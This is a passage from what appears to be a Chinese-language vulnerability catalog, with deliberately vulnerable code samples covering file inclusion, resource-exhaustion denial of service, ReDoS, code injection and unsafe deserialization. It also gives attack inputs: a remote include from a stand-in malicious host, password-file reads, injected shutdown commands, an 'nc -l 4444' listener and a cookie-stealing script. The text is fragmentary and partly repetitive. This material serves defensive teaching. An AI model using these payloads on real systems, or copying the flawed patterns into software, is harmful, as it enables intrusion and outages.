...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1
中,攻擊者可能透過提供 includedURL
的惡意值來完全控制動態包含陳述式,這會導致程式包含來自外部站台的檔案。web.config
,檔案可能會成為 HTML 輸出的一部分。更糟糕的是,如果攻擊者可能指定由攻擊者控制的遠端站台的路徑,則動態包含陳述式將執行攻擊者提供的任意惡意程式碼。
...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...
specialpage.jsp?template=/WEB-INF/database/passwordDB
/WEB-INF/database/passwordDB
檔案的內容,從而危害系統的安全性。c:import
標籤,將使用者指定的遠端檔案匯入目前的 JSP 頁面中。
...
<c:import url="<%= request.getParameter("privacy")%>">
...
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
register_globals
選項,這會讓攻擊者輕易地覆寫內部伺服器的變數。雖然停用 register_globals
可減少程式因為 File Inclusion 弱點受到攻擊的可能,但是這些問題仍存在現在的 PHP 應用程式中。 $server_root
的應用程式中。
...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globals
設定為 on
,則攻擊者可能透過提供 $server_root
作為要求參數來覆寫 $server_root
值,從而部分控制動態包含陳述式。
...
<?php include($_GET['headername']); ?$gt;
...
Example 2
中,攻擊者可能透過提供 headername
的惡意值來完全控制動態包含陳述式,這會導致程式包含來自外部站台的檔案。/etc/shadow
,檔案可能會成為 HTML 輸出的一部分。更糟糕的是,如果攻擊者可能指定由攻擊者控制的遠端站台的路徑,則動態包含陳述式將執行攻擊者提供的任意惡意程式碼。
...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
GetTokenBucketLimiter()
方法使用遠端 IP 位址 (RemoteIpAddress
) 作為建立 RateLimitPartition 時的分割區索引鍵:
...
builder.Services.AddRateLimiter(limiterOptions => {
limiterOptions.GlobalLimiter = PartitionedRateLimiter.Create<HttpContext, IPAddress>(context => {
IPAddress? ip = context.Connection.RemoteIpAddress;
return RateLimitPartition.GetTokenBucketLimiter(ip!, _ =>
new TokenBucketRateLimiterOptions
{
TokenLimit = 7
});
});
});
...
unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
Sleep(url.duration);
Future
函數的執行時間。若指定較大的數字,攻擊者可能會無限期地佔用 Future
函數。
final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
func test(r *http.Request) {
...
i, _ := strconv.Atoi(r.FormValue("TIME"))
runtime.KeepAlive(i)
...
}
範例 2:以下程式碼會從 zip 檔案讀取字串。因為它使用
int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
readLine()
方法,它會讀取大量的輸入。攻擊者可能利用此程式碼產生 OutOfMemoryException
或消耗大量記憶體,讓程式花費更多時間來執行記憶體回收或者在一些後續作業中耗盡記憶體。
InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
範例 2:以下程式碼會寫入檔案。以下程式碼會寫入檔案。由於檔案可能會不斷地寫入和重新寫入,直到使用者代理程式將其關閉為止,因此可能需要分析檔案內容的磁碟配額、IO 頻寬以及處理序會受到影響。
var fsync = requestFileSystemSync(0, userInput);
function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}
window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
connect
函數指定連線逾時的持續時間。若指定較大的數字,攻擊者可無限期地佔用 connect
函數。
...
insecure_config_ssl_connection_timeout = {
'user': username,
'password': retrievedPassword,
'host': databaseHost,
'port': "3306",
'connection_timeout': connection_timeout
}
mysql.connector.connect(**insecure_config_ssl_connection_timeout)
...
範例 2:以下程式碼會從檔案中讀取字串。因為它使用
Kernel.sleep(user_input)
readline()
方法,且無需指定限制,所以它會讀取大量的輸入。攻擊者可能利用此程式碼使程序暫停,同時耗用越來越多的記憶體,直到可能完全耗盡記憶體。
fd = File.new(myFile)
line = fd.readline
Formatter.format()
的 Format String 引數。
...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...
java.util.MissingFormatArgumentException
,由於這不在 try 區塊中,所以可能導致應用程式失敗。 accountNo
包含到產生的字串中。java.lang.Double.parseDouble()
和相關方法的實作有一個弱點,可能會在解析 [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)]
範圍中的任何數字時造成執行緒暫停。這個瑕疵可以用來執行阻斷服務 (DoS) 攻擊。
Double d = Double.parseDouble(request.getParameter("d"));
d
是範圍中的數值時 (例如 "0.0222507385850720119e-00306"
) 傳送要求,以造成程式在處理要求時暫停。
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
NSString *regex = @"^(e+)+$";
NSPredicate *pred = [NSPRedicate predicateWithFormat:@"SELF MATCHES %@", regex];
if ([pred evaluateWithObject:mystring]) {
//do something
}
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
let regex : String = "^(e+)+$"
let pred : NSPredicate = NSPRedicate(format:"SELF MATCHES \(regex)")
if (pred.evaluateWithObject(mystring)) {
//do something
}
Example 1
而言,如果攻擊者提供了組合字串「eeeeZ」,則 regex 必須通過 16 種內部評估以識別該組合。如果攻擊者提供的組合字串有 16 個「e」(「eeeeeeeeeeeeeeeeZ」),那麼 regex 解析器就必須進行 65536 (2^16) 組評估。攻擊者可能輕易地藉由提高連續符合字元數來耗用計算資源。目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。
Marker child = MarkerManager.getMarker("child");
Marker parent = MarkerManager.getMarker("parent");
child.addParents(MarkerManager.getMarker(userInput));
parent.addParents(MarkerManager.getMarker(userInput2));
String toInfinity = child.toString();
child
和 parent
的父標記設定為使用者定義的標記。如果使用者輸入 child
的父項作為 parent
,並將 parent
的父項作為 child
,就會在 Marker 資料結構中建立循環連結。在包含循環連結的資料結構上執行遞迴 toString
方法時,程式會擲回堆疊溢位異常並當機。如此會透過 Stack Exhaustion 導致 Denial of Service。StringBuilder
或 StringBuffer
執行個體,可能會導致 JVM 過度消耗堆積記憶體空間。StringBuilder
或 StringBuffer
執行個體,可能會導致應用程式在調整基礎陣列大小以適合使用者資料時消耗大量的堆積記憶體。將資料附加至 StringBuilder
或 StringBuffer
執行個體時,執行個體會判斷支援字元陣列是否有足夠空間來儲存資料。如果資料不適合,則 StringBuilder
或 StringBuffer
執行個體會建立新陣列並使其陣列大小為先前的至少兩倍,同時,舊陣列將在記憶體回收之前保留在堆積中。攻擊者可使用此實作詳細資料執行 Denial of Service (DoS) 攻擊。StringBuilder
執行個體。
...
StringBuilder sb = new StringBuilder();
final String lineSeparator = System.lineSeparator();
String[] labels = request.getParameterValues("label");
for (String label : labels) {
sb.append(label).append(lineSeparator);
}
...
StringBuilder
或 StringBuffer
執行個體,可能會導致 JVM 過度消耗堆積記憶體空間。StringBuilder
或 StringBuffer
執行個體,可能會導致應用程式在調整基礎陣列大小以適合使用者資料時消耗大量的堆積記憶體。將資料附加至 StringBuilder
或 StringBuffer
執行個體時,執行個體會判斷支援字元陣列是否有足夠空間來儲存資料。如果資料不適合,則 StringBuilder
或 StringBuffer
執行個體會建立新陣列並使其陣列大小為先前的至少兩倍,同時,舊陣列將在記憶體回收之前保留在堆積中。攻擊者可使用此實作詳細資料執行 Denial of Service (DoS) 攻擊。StringBuilder
執行個體。
...
val sb = StringBuilder()
val labels = request.getParameterValues("label")
for (label in labels) {
sb.appendln(label)
}
...
...
user_ops = request->get_form_field( 'operation' ).
CONCATENATE: 'PROGRAM zsample.| FORM calculation. |' INTO code_string,
calculator_code_begin user_ops calculator_code_end INTO code_string,
'ENDFORM.|' INTO code_string.
SPLIT code_string AT '|' INTO TABLE code_table.
GENERATE SUBROUTINE POOL code_table NAME calc_prog.
PERFORM calculation IN PROGRAM calc_prog.
...
operation
參數是理想值時,程式會正常運作。不過,如果攻擊者指定同時為有效且惡意的語言作業,則會使用父系程序的完整權限來執行那些作業。此類攻擊在插入的程式碼存取系統資源或執行系統指令時更危險。例如,如果攻擊者指定「MOVE 'shutdown -h now' to cmd.CALL 'SYSTEM' ID 'COMMAND' FIELD cmd ID 'TAB' FIELD TABL[].」做為 operation
的值,則會在主機系統上執行系統關機指令。
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var userOps:String = String(params["operation"]);
result = ExternalInterface.call("eval", userOps);
...
operation
參數是良性的值時,例如「8 + 7 * 2」,程式會正常運作。在此案例中,會指定 result
變數的值為 22。不過,如果攻擊者指定同時為有效且惡意的語言作業,則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時,這類攻擊會更加危險。在 ActionScript 案例中,攻擊者可能使用此弱點執行 Cross-site scripting 攻擊。
...
public static object CEval(string sCSCode)
{
CodeDomProvider icc = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters cparam = new CompilerParameters();
cparam.ReferencedAssemblies.Add("system.dll");
cparam.CompilerOptions = "/t:library";
cparam.GenerateInMemory = true;
StringBuilder sb_code = new StringBuilder("");
sb_code.Append("using System;\n");
sb_code.Append("namespace Fortify_CodeEval{ \n");
sb_code.Append("public class FortifyCodeEval{ \n");
sb_code.Append("public object EvalCode(){\n");
sb_code.Append(sCSCode + "\n");
sb_code.Append("} \n");
sb_code.Append("} \n");
sb_code.Append("}\n");
CompilerResults cr = icc.CompileAssemblyFromSource(cparam, sb_code.ToString());
if (cr.Errors.Count > 0)
{
logger.WriteLine("ERROR: " + cr.Errors[0].ErrorText);
return null;
}
System.Reflection.Assembly a = cr.CompiledAssembly;
object o = a.CreateInstance("Fortify_CodeEval.FortifyCodeEval");
Type t = o.GetType();
MethodInfo mi = t.GetMethod("EvalCode");
object s = mi.Invoke(o, null);
return s;
}
...
sCSCode
參數是良性值 (例如「return 8 + 7 * 2」) 時,程式會正常運作,在此案例中,函數 CEval
的傳回值為 22。不過,如果攻擊者指定同時為有效且惡意的語言作業,則會使用父系程序的完整權限來執行那些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時,這類攻擊會更加危險。例如,.Net 允許叫用 Windows API,如果攻擊者指定「return System.Diagnostics.Process.Start(\"shutdown\", \"/s /t 0\");」做為 operation
的值,則會在主機系統上執行關機指令。
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
operation
參數是良性值時,例如「8 + 7 * 2」,程式會正常運作。在此情況下,會指定 result
變數的值為 22。不過,如果攻擊者指定有效且惡意的語言作業,則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時,這類攻擊會更加危險。例如,JavaScript 允許叫用 Java 物件,如果攻擊者指定「java.lang.Runtime.getRuntime().exec("shutdown -h now")」作為 operation
的值,則會在主機系統上執行關機指令。
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation
參數是良性的值時,例如「8 + 7 * 2」,程式會正常運作。在此案例中,會指定 calcResult
變數的值為 22。不過,如果攻擊者指定同時為有效且惡意的語言作業,則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時,這類攻擊會更加危險。在 JavaScript 案例中,攻擊者可能使用此弱點執行 Cross-site scripting 攻擊。
...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView evaluateJavaScript:[NSString stringWithFormat:@"document.body.style.backgroundColor="%@";", _inputTextField.text] completionHandler:nil];
...
webView
內的 <body>
元素會具有藍色背景樣式。然而,如果攻擊者提供的惡意輸入仍然有效,便可能可以執行任意 JavaScript 程式碼。例如,由於 JavaScript 可以存取某些類型的私密資訊,如 Cookie,因此如果攻擊者指定 "white";document.body.innerHTML=document.cookie;"" 做為 UITextField 的輸入,則 Cookie 資訊會明顯寫入頁面。當基礎語言提供系統資源的存取權或允許執行系統指令時,這類攻擊會更加危險,因為在那些情況下,會使用父系程序的完整權限來執行插入的程式碼。
...
$userOps = $_GET['operation'];
$result = eval($userOps);
...
operation
參數是良性的值時,例如「8 + 7 * 2」,程式會正常運作。在此案例中,會指定 result
變數的值為 22。不過,如果攻擊者指定同時為有效且惡意的作業,則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時,這類攻擊會更加危險。例如,如果攻擊者指定「exec('shutdown -h now')」做為 operation
的值,則會在主機系統上執行系統關機指令。
...
userOps = request.GET['operation']
result = eval(userOps)
...
operation
參數是良性的值時,例如「8 + 7 * 2」,程式會正常運作。在此案例中,會指定 result
變數的值為 22。不過,如果攻擊者指定同時為有效且惡意的作業,則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時,這類攻擊會更加危險。例如,如果攻擊者指定「os.system('shutdown -h now')」做為 operation
的值,則會在主機系統上執行系統關機指令。
...
user_ops = req['operation']
result = eval(user_ops)
...
operation
參數是良性的值時,例如「8 + 7 * 2」,程式會正常運作。在此案例中,會指定 result
變數的值為 22。不過,如果攻擊者指定同時為有效且惡意的語言作業,則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時,這類攻擊會更加危險。如果使用 Ruby,則允許執行此作業,由於可透過使用分號 (;
) 區隔行來執行多個指令,因此還能夠在不中斷程式的情況下使用簡單插入來執行許多指令。operation
"system(\"nc -l 4444 &\");8+7*2",則此作業會開啟連結埠 4444 以偵聽機器上的連線,且仍然會將值 22 回傳到 result
...
var webView : WKWebView
var inputTextField : UITextField
...
webView.evaluateJavaScript("document.body.style.backgroundColor="\(inputTextField.text)";" completionHandler:nil)
...
webView
內的 <body>
元素會具有藍色背景樣式。然而,如果攻擊者提供的惡意輸入仍然有效,便可能可以執行任意 JavaScript 程式碼。例如,由於 JavaScript 可以存取某些類型的私密資訊,如 Cookie,因此如果攻擊者指定 "white";document.body.innerHTML=document.cookie;"" 做為 UITextField 的輸入,則 Cookie 資訊會明顯寫入頁面。當基礎語言提供系統資源的存取權或允許執行系統指令時,這類攻擊會更加危險,因為在那些情況下,會使用父系程序的完整權限來執行插入的程式碼。
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation
的範例。strResult
變數所回傳的值為 22。但是,如果使用者指定其他有效的語言作業,不僅會執行那些作業,還會使用父系程序的完整權限來執行。當基本語言提供系統資源的存取權限或允許執行系統指令時,執行任意的程式碼會變得更加危險。例如:如果攻擊者將 operation
指定為「Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')」,則可能會在主機系統上執行關閉指令。
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
ScriptContext newContext = new SimpleScriptContext();
Bindings engineScope = newContext.getBindings(request.getParameter("userName"));
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps,newContext);
...
page_scope
參數是預期的使用者名稱,程式會正常運作。不過,如果攻擊者指定 GLOBAL_SCOPE
的值,操作將會存取由同一個 ScriptEngine
建立的所有引擎中的所有屬性。
...
String address = request.getParameter("address");
Properties props = new Properties();
props.put(Provider_URL, "rmi://secure-server:1099/");
InitialContext ctx = new InitialContext(props);
ctx.lookup(address);
...
string name = Request["username"];
string template = "Hello @Model.Name! Welcome " + name + "!";
string result = Razor.Parse(template, new { Name = "World" });
...
operation
是良性的值時 (例如「John」),程式會正常運作;在此案例中,result
變數指定的值是「Hello World!Welcome John!」。不過,如果攻擊者指定同時為有效且惡意的語言作業,則會使用父系程序的完整權限來執行那些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時,這類攻擊會更加危險。舉例來說,Razor 允許呼叫 C# 物件,如果攻擊者指定「@{ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.EnableRaisingEvents=false; proc.StartInfo.FileName=\"calc\"; proc.Start(); }」 做為 name
的值,則會在主機系統上執行系統指令。
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
operation
參數是良性值時,例如「8 + 7 * 2」,程式會正常運作。在此情況下,會指定 result
變數的值為 22。不過,如果攻擊者指定有效且惡意的語言作業,則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時,這類攻擊會更加危險。例如,JavaScript 允許叫用 Java 物件,如果攻擊者指定「java.lang.Runtime.getRuntime().exec("shutdown -h now")」作為 operation
的值,則會在主機系統上執行關機指令。
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation
參數是良性值時,例如「8 + 7 * 2」,程式會正常運作。在此情況下,會指定 calcResult
變數的值為 22。不過,如果攻擊者指定有效且惡意的語言作業,則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時,這類攻擊會更加危險。在 JavaScript 案例中,攻擊者可能使用此弱點執行 Cross-site scripting 攻擊。
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation
的範例。strResult
變數所回傳的值為 22。但是,如果使用者指定其他有效的語言作業,不僅會執行那些作業,還會使用父系程序的完整權限來執行。當基本語言提供系統資源的存取權限或允許執行系統指令時,執行任意的程式碼會變得更加危險。例如:如果攻擊者將 operation
指定為「Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')」,則可能會在主機系統上執行關閉指令。BeanUtilsHashMapper
來還原序列化 Redis 雜湊,這樣做可能會讓攻擊者控制此類雜湊來執行任意程式碼。
HashMapper<Person, String, String> hashMapper = new BeanUtilsHashMapper<Person>(Person.class);
Person p = hashMapper.fromHash(untrusted_map);
Stream
物件做為輸入,並將其還原序列化回 .NET 物件。然後在將其轉換為字串物件清單後傳回結果:
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
var result = (List <string>)bf.Deserialize(input);
return result;
}
...
Example 1
可以按如下方式進行重寫:
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
object tmp = bf.Deserialize(input);
List <string> result = (List <string>)tmp;
return result;
}
...
Example 2
中,只要輸入串流有效,無論類型是否為 List <string>
,還原序列化作業都會成功。bin
資料夾或位於 GAC
中且攻擊者不能插入的可序列化類別中,會定義自訂還原序列化常式,所以這些攻擊的可利用性取決於應用程式環境中的可用類別。遺憾的是,常見的第三方類別、甚至是 .NET 類別可能會被濫用於耗盡系統資源、刪除檔案、部署惡意檔案或執行任意程式碼。XStream
處理不可信賴輸入的範例。
XStream xstream = new XStream();
String body = IOUtils.toString(request.getInputStream(), "UTF-8");
Contact expl = (Contact) xstream.fromXML(body);
var yamlString = getYAMLFromUser();
// Setup the input
var input = new StringReader(yamlString);
// Load the stream
var yaml = new YamlStream();
yaml.Load(input);
var yaml = require('js-yaml');
var untrusted_yaml = getYAMLFromUser();
yaml.load(untrusted_yaml)
import yaml
yamlString = getYamlFromUser()
yaml.load(yamlString)